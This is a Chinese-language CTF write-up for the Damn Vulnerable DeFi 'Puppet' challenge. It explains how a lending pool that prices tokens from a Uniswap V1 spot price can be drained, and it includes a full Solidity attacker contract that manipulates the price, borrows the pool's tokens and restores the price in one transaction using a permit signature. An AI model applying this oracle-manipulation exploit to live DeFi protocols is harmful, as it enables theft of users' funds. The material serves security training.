xChar
·a year ago

Challenge #8 - Puppet

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • PuppetPool:提供borrow方法,供用户使用eth购买token,token的价格来自于uniswap

测试

  • 部署DamnValuableToken合约,部署UniswapV1Factory UniswapV1Exchange合约,完成exchange的初始化
  • 部署PuppetPool合约,传入DamnValuableToken和UniswapV1Exchange合约
  • 向UniswapV1Exchange中提供token与eth 1:1 的流动性
  • 设置player和pool合约的token余额分别为PLAYER_INITIAL_TOKEN_BALANCE和POOL_INITIAL_TOKEN_BALANCE
  • 执行测试脚本
  • 期望player的nonce为1,pool中的token余额为0,player中的token余额大于POOL_INITIAL_TOKEN_BALANCE

题解

这道题的解题思路和上题类似,在pool提供了borrow方法中使用了uniswap作为token的价格预言机,那么我们的攻击思路就是通过操纵uniswap中token的价格以在pool中低价买入token

本题提供的是uniswap v1合约,且题目只给了合约的abi和bytecode,首先整理下uniswap v1的接口及我们需要用到的方法

// 计算卖出token能换出多少eth
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// 计算买入token需要多少eth
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);

完整的攻击流程如下图所示:

  • 第一步通过调用tokenToEthSwapInput 以卖出手中的token获得eth,从而降低在uniswap中的token价格
  • 第二步在token价格降低后,调用lendingPool.borrow 方法,以低价买入token
  • 第三步再通过调用ethToTokenSwapOutput ,用手中的eth买入token来恢复uniswap中的token价格

image

通过将这三步在一笔交易内完成,player可以获取lendingPool中的全部token从而实现攻击目标

在具体实现时,值得注意的是授权步骤,因为题目要求在一笔交易内完成,但是使用uniswap又需要approve,因此涉及从player到攻击合约到uniswap的三级approve,在一笔交易内是无法实现的。

但通过看DamnValuableToken 的实现代码,可以看到它实现的ERC20协议中包括了拓展的EIP- 2612 LOGIC ,包含的就是permit逻辑,即通过用户在链下预签名,再提供到链上进行验证,从而实现了代理approve的机制,具体关于ERC-2612可以看另一篇文章的介绍

完整的合约代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";

contract Attacker {
    DamnValuableToken token;
    PuppetPool pool;

    receive() external payable{} // receive eth from uniswap

    constructor(uint8 v, bytes32 r, bytes32 s,
                uint256 playerAmount, uint256 poolAmount,
                address _pool, address _uniswapPair, address _token) payable{
        pool = PuppetPool(_pool);
        token = DamnValuableToken(_token);
        prepareAttack(v, r, s, playerAmount, _uniswapPair);
        // swap token for eth --> lower token price in uniswap
        _uniswapPair.call(abi.encodeWithSignature(
            "tokenToEthSwapInput(uint256,uint256,uint256)",
            playerAmount,
            1,
            type(uint256).max
        ));
        // borrow token from puppt pool
        uint256 ethValue = pool.calculateDepositRequired(poolAmount);
        pool.borrow{value: ethValue}(
            poolAmount, msg.sender
        );
        // repay tokens to uniswap --> recovery balance in uniswap
        _uniswapPair.call{value: 10 ether}(
            abi.encodeWithSignature(
                "ethToTokenSwapOutput(uint256,uint256)",
                playerAmount,
                type(uint256).max
            )
        );
        token.transfer(msg.sender, token.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
        // tranfser player token to attacker contract
        token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
        token.transferFrom(msg.sender, address(this), amount);
        token.approve(_uniswapPair, amount);
    }
}
Loading comments...